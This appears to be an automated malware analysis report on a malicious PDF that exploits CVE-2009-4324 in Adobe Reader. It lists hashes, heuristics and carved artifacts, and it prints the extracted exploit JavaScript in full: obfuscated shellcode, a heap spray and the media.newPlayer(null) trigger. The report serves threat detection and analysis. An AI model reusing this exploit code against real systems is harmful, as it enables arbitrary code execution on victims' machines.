Malicious PDF — malware analysis report

Static analysis result for SHA-256 bce30a85731d371a…

MALICIOUS

PDF

487.6 KB Created: 2010-06-29 10:14:47 +08:00 Authoring application: Acrobat 编辑器 8.0 (via Adobe Acrobat 8.0) First seen: 2026-05-04
MD5: f261d441b85aa93717836578f1499b27 SHA-1: 6c1075665f621263b50aab240c6ed71f2f7d1464 SHA-256: bce30a85731d371a388c21fbe2873935229508b1fe09749aa6f99e91adf471f9
290 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF contains embedded JavaScript that is heavily obfuscated but ultimately calls `media.newPlayer(null)`, a known indicator for the CVE-2009-4324 exploit. This exploit is designed to execute arbitrary code, likely to download and run a second-stage payload. The presence of multiple embedded PDF objects and JavaScript streams further supports a multi-stage attack.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9921

Heuristics 8

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
     var nop =  unescape("\x25\x750c0c");
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ocsp.verisign.com0 In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://crl.verisign.com/ThawteTimestampingCA.crl0In PDF document text
    • http://crl.verisign.com/tss-ca.crl0In PDF document text
    • http://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl0In PDF document text
    • http://www.microsoft.com/typographyIn PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0021_000.js pdf-javascript-stream PDF /JS object 21 at offset 0x514 2371 bytes
SHA-256: 1d611ee7f03716e3d28cb3e60e25b6368cdc0174c0bcf881d1ca4a95b3cbfee6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
var TCfIpiOxOYTTeNgDQsDQaDtVjQ;
for(i=0;i<18000;i++)
TCfIpiOxOYTTeNgDQsDQaDtVjQ = TCfIpiOxOYTTeNgDQsDQaDtVjQ+0x70;

function AppendLoop(ss,len)   
{   
	for(slen=0;slen<len;)
	{
      ss +=ss;
	  slen = ss.length;
	}
	return ss;
}  

function urpl(k,sc)
{
	var c = "u";
	var kc=k+c
	var re = /XX/g;
	sc = sc.replace(re,kc);
	return sc;
}

var une = unescape;

var sc = "XXc8d9XX74d9XXf424XXecbaXXdee0XX29dcXX5fc9XX37b1XX5731XX8314XX1c03XX243cXX4e05XXdcdeXX59ecXXdcdaXXe0ecXXb881XXd04dXXdcdeXX6becXXd09eXX9067XX71c2XX8867XX8dd6XX9567XX57e2XXce98XXdfa6XXb619XXaa55XXe3ccXXef2bXXa925XX719fXX25efXX07edXX5ee3XXe4ceXX941eXX1dd6XXed27XX06ddXX0bacXXe72fXX95f3XX8239XXbe67XXdffaXX8631XXd055XX6ba7XXc080XX3defXXd855XXe367XX771bXX02b5XXef62XX6337XXd81dXXe086XX238dXX1cbbXXdbe5XX1399XX8357XX7910XX8e8cXX9713XX23daXX1c9bXX8b21XX7914XX9cb4XXe084XXdcceXX1fecXXd4a9XX1fbeXX2889XXa765XXb626XX6decXX2899XX1fbcXXd4a9XX9713XX2326XX1c9bXX8b21XX6b1cXXd091XXa767XX1c26XX99e4XXec5eXXa071XX2b3cXXb713XX3426XX1fa1XX2321XX85faXXcc24XX2ab8XX4d71XXe840XXaa04XX7b41XX03a3XX7e7fXXdcd9XXc22eXXdcdeXX8308XXdcd9XXe2d4XXdcde";
sc = une(urpl("%",sc));

function j_exp()   
{ 

	var a = "\x6D\x65\x64";
	var c = "\x69\x61";
	var b = "\x6E\x65\x77\x50\x6C\x61\x79";
	var d = "\x65\x72";
	var e = "\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29";
	var f = "\x70\x40\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31";
	var g = "\x20\x3A\x20\x79\x79\x79\x79\x31\x31\x31";
	var h =  "\x70\x72\x69\x6E";
	var i =  "\x74\x64";
	var j = h+i;
	var str1="XX0d0cXX0d0cXX0d0cXX0d0cXX4170XX6d7aXX554bXX4d67XX794fXX514fXX6f4dXX585aXX764fXX4c56XX6f4bXX4858XX4249XX666dXX566fXX625aXX4567XX7568XX6a46XX5258XX714eXX7961XX7a61XX4878XX756bXX754dXX4c57XX647aXX5870XX4d46XX4462XX4b4f";
	str1 = une(urpl("%",str1));
	var nop =  unescape("\x25\x750c0c");

	nop = AppendLoop(nop,18000);
	memory=new Array();
	for(i=0;i<0xE00;i++)memory[i] = nop+sc;


	if(app["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"]<9)
	{
	util[j](f+g, e);
	util[j](f+g, e);
	try {this[a+c][b+d](null);} catch(e) {}
	util[j](f+g, e); 
	}
	else
	{
	util[j](f+g, e);
	util[j](f+g, e);
	try {this[a+c][b+d](null);} catch(e) {}
	util[j](str1,e);

	}

}

if(app["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"]<9.3)
{
	j_exp();  
}
stream_008_off0000d52b.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0xD52B 355663 bytes
SHA-256: e1fdd172934d8bcc0f63d124b73e1153937c9f606bf1a3923b9cecece3c7f191
stream_009_off0003fa83.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x3FA83 383782 bytes
SHA-256: 84c82c7b7f990599df559ac40d823188e532c68c6eded107838492fdffb11b41
legacy_pdfkit_stage_000.js deobfuscated-js string-concatenation normalized Acrobat API aliases at offset 0x514 126 bytes
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74
Preview script
First 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */
polyglot_child_pdf_off0000b50a.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0xB50A 453001 bytes
SHA-256: 0a231eb7d044fa87a5eeecab75cc90f70f2ba04aed2913b8b917a5c1d2fadc9e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
polyglot_child_pdf_off000786a6.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x786A6 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8

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